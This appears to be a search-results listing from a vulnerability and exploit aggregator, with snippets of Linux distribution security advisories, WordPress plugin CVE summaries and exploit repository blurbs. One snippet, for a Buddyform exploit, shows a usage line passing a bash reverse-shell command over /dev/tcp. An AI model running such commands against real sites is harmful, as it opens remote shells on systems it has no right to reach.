268357 matches found
CVE-2026-84166: Cross-Site Request Forgery (CSRF)
The Hotel Booking WordPress plugin through 3.8 does not implement CSRF protection on its administrative booking order management, allowing attackers to trick a logged-in administrator into creating, deleting, or modifying arbitrary booking order records via a forged request...
EulerOS 2.0 SP11 : vim (EulerOS-SA-2026-4385)
According to the versions of the vim packages installed, the EulerOS installation on the remote host is affected by the following vulnerabilities : A flaw was found in Vim's netrw plugin. A crafted filename containing quote characters and expression fragments can break out of the quoted context...
EulerOS 2.0 SP11 : containerd (EulerOS-SA-2026-4308)
According to the versions of the containerd package installed, the EulerOS installation on the remote host is affected by the following vulnerabilities : containerd is an open-source container runtime. In versions prior to 1.7.33, 2.3.2, 2.2.5, 2.1.9, and 2.0.10 the CRI plugin propagates labels...
EulerOS 2.0 SP13 : containerd (EulerOS-SA-2026-4126)
According to the versions of the containerd package installed, the EulerOS installation on the remote host is affected by the following vulnerabilities : containerd is an open-source container runtime. Versions prior to 1.7.33, 2.0.10, 2.1.9, 2.2.5 and 2.3.2, contain a vulnerability that allows a...
EulerOS 2.0 SP13 : docker-engine (EulerOS-SA-2026-4132)
According to the versions of the docker-engine package installed, the EulerOS installation on the remote host is affected by the following vulnerabilities : The tar extraction routines in moby/go-archive Unpack, UnpackLayer, Untar/UntarUncompressed, and the ApplyLayer helpers do not confine...
Amazon Linux 2023 : containerd, containerd-stress (ALAS2023-2026-3168)
It is, therefore, affected by a vulnerability as referenced in the ALAS2023-2026-3168 advisory. containerd is an open-source container runtime. Prior to 1.7.35, 2.0.12, 2.2.8, and 2.3.5, containerd on Linux with the CRI plugin enabled can indefinitely block the drainExecSyncIO goroutine in...
EulerOS 2.0 SP13 : docker-engine (EulerOS-SA-2026-4041)
According to the versions of the docker-engine package installed, the EulerOS installation on the remote host is affected by the following vulnerabilities : The tar extraction routines in moby/go-archive Unpack, UnpackLayer, Untar/UntarUncompressed, and the ApplyLayer helpers do not confine...
AlmaLinux 9.6 [TuxCare] Security Update: gimp / gimp-devel / gimp-devel-tools / gimp-libs Multiple Vulnerabilities (ALMALINUX9.6:CLSA-2026:1791479721)
The AlmaLinux 9.6 host has packages installed that are affected by multiple vulnerabilities as referenced in the TuxCare ALMALINUX9.6:CLSA-2026:1791479721 advisory. - A flaw was found in GIMP. When processing a specially crafted lighting preset file, the Lighting Effects filter does not properly...
EulerOS 2.0 SP13 : vim (EulerOS-SA-2026-4113)
According to the versions of the vim packages installed, the EulerOS installation on the remote host is affected by the following vulnerabilities : Vim is an open source, command line text editor. Prior to 9.2.0671, when Vim opens a file encrypted with the VimCrypt04! or VimCrypt05! method...
CVE-2025-39436
🚨 WordPress Plugin Exploit: CVE-2025-39436 📝 Description An Unrestricted Upload of File with Dangerous Type vulnerability exists in the "I Draw" WordPress plugin. This exploit allows attackers to upload malicious files without restriction. The issue impacts I Draw versions up to 1.0. 🛠️ Exploit...
vimana-framework
Descripción general Vimana es un framework de seguridad modular para auditar APIs de Python y aplicaciones web. La arquitectura basada en plugins permite a los profesionales de seguridad evaluar, fuzzear y analizar proyectos de Python mediante técnicas automatizadas y manuales. Capacidades...
CVE-2024-12542
CVE-2024-12542 linkID = 0.1.2 - Missing Authorization to Unauthenticated Sensitive Information Exposure Description The linkID plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check when including the 'phpinfo' function in all versions up to, and...
CVE-2025-11170
CVE-2025-11170 WP移行専用プラグイン for CPI = 1.0.2 - Unauthenticated Arbitrary File Upload 🚀 WP移行専用プラグイン for CPI = 1.0.2 - Unauthenticated Arbitrary File Upload 📝 Description The WP移行専用プラグイン for CPI plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the...
CVE-2024-10924
Exploit para CVE-2024-10924 Plugin Really Simple Security de WordPress - Bypass de Autenticación 📌 Descripción General CVE-2024-10924 es una vulnerabilidad crítica de omisión de autenticación en el plugin Really Simple Security para WordPress versiones 9.0.0 a 9.1.1.1. Esta vulnerabilidad permite...
jadx-ai-mcp
JADX-AI-MCP Parte de Zin MCP Suite ⚡ Servidor MCP totalmente automatizado + plugin de JADX creado para comunicarse con LLMs a través de MCP para analizar APKs de Android usando LLMs como Claude: descubre vulnerabilidades, analiza APKs y realiza ingeniería inversa sin esfuerzo. ⭐ Contribuyentes...
CVE-2024-2876
CVE-2024-2876 - SQL Injection Vulnerability in Email Subscribers by Icegram Express Overview CVE-2024-2876 is a critical security vulnerability found in the "Email Subscribers by Icegram Express" plugin for WordPress. This vulnerability affects versions up to and including 5.7.14 and poses...
CVE-2023-26326_Buddyform_exploit
usage: python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' Originally, CVE-2023–26326 required gadget chains to exploit it as a deserialization vulnerability. This method is no longer feasible on newer WordPress sites running on PHP 8+; however, by chaining with...
CVE-2025-68860
CVE-2025-68860 WordPress Mobile builder Plugin Authentication Bypass Using an Alternate Path or Channel vulnerability in Mobile Builder allows Authentication Abuse. This issue affects Mobile builder from n/a through 1.4.2. CVSS Score: 9.8 CRITICAL Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H A...
CVE-2024-9756
🚀 WooCommerce Arbitrary File Upload Exploit CVE-2024-9756 📌 Overview This exploit leverages an unauthorized limited arbitrary file upload vulnerability in the Order Attachments for WooCommerce plugin versions 2.0 to 2.4.1 for WordPress. The vulnerability allows authenticated users Subscriber+ to...